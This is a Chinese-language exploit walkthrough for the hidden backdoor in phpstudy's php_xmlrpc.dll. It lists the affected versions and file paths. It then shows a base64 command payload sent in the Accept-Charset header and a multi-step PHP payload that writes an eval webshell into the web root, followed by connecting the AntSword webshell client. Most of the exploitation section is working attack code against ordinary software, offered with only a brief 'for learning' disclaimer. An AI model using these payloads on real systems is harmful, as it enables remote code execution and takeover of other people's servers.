【漏洞复现】phpstudy隐藏后门漏洞的验证与利用
目錄
1 背景
2影響版本
3 漏洞驗證與利用
3.1驗證
3.2利用:寫入webshell
1 背景
phpstudy是國內第一款php后端開發調試集成軟件,其將php、apache、mysql、phpmyadmin等集成在一起一次性安裝,使用者無需在配置上面花太多時間。
2019年杭州警方在凈網2019行動后發布了phpstudy存在隱藏后門的漏洞
2影響版本
phpstudy2016?
--php/php-5.2.17/ext/php_xmlrpc.dll
--php/php-5.4.45/ext/php_xmlrpc.dll
phpstudy2018
--PHPTutorial/php/php-5.2.17/ext/php_xmlrpc.dll
--PHPTutorial/php/php-5.4.45/ext/php_xmlrpc.dll
手工驗證:
直接用筆記本打開涉事文件,搜索@eval
3 漏洞驗證與利用
3.1驗證
訪問一個php網址,burpsuite抓包
修改請求頭
Accept-Encoding: gzip,deflate accept-charset:c3lzdGVtKCdpcGNvbmZpZycpOw==c3lzdGVtKCdpcGNvbmZpZycpOw==利用語句system('ipconfig');的base64編碼(注意有分號)
而且Accept-Encoding: gzip,deflate里逗號后的空格去掉才能利用成功
?3.2 利用:寫入webshell
首先看一下當前所在文件目錄,即system('dir')
熟悉phpstudy的人很容易知道,應該把webshell寫入在PHPTutorial\WWW\下
我們嘗試將<?php @eval($_GET['x']) ?>一次性寫入
$myfile = fopen("PHPTutorial\WWW\webshell.php", "a") or die("Unable to open file!"); $txt1 = "<?php @eval($_POST['x']) ?>"; fwrite($myfile, $txt1); fclose($myfile);發現會失敗的,且報雙引號錯誤。但是雙引號單獨寫入,卻不會報錯。(具體原因可能是雖然寫入字符串,但是后門也會執行字符串的php語句??)
所以這個時候應該將webshell分開寫入
經過多次嘗試(掙扎),發現想要成功寫入,必須將$ _ 分開寫入,才不會報雙引號的錯,寫入語句改為:
$myfile = fopen("PHPTutorial\WWW\webshell.php", "a") or die("Unable to open file!"); $txt1 = "<?php @eval($"; fwrite($myfile, $txt1); $txt2 = "_POST['x']); ?>"; fwrite($myfile, $txt2); fclose($myfile);base64編碼,得出payload,手工利用一下
成功上傳!!
連接蟻劍就可以為所欲為了
?
注:僅作學習交流之用,請勿違反《網絡安全法》《數據安全法》《關鍵信息基礎設施保護條例》等相關法律條例,惡意利用漏洞帶來的一切后果本人概不負責
總結
以上是生活随笔為你收集整理的【漏洞复现】phpstudy隐藏后门漏洞的验证与利用的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 上升了百分之几怎么算_如何简单计算同期上
- 下一篇: wifipumpkin3启动报No su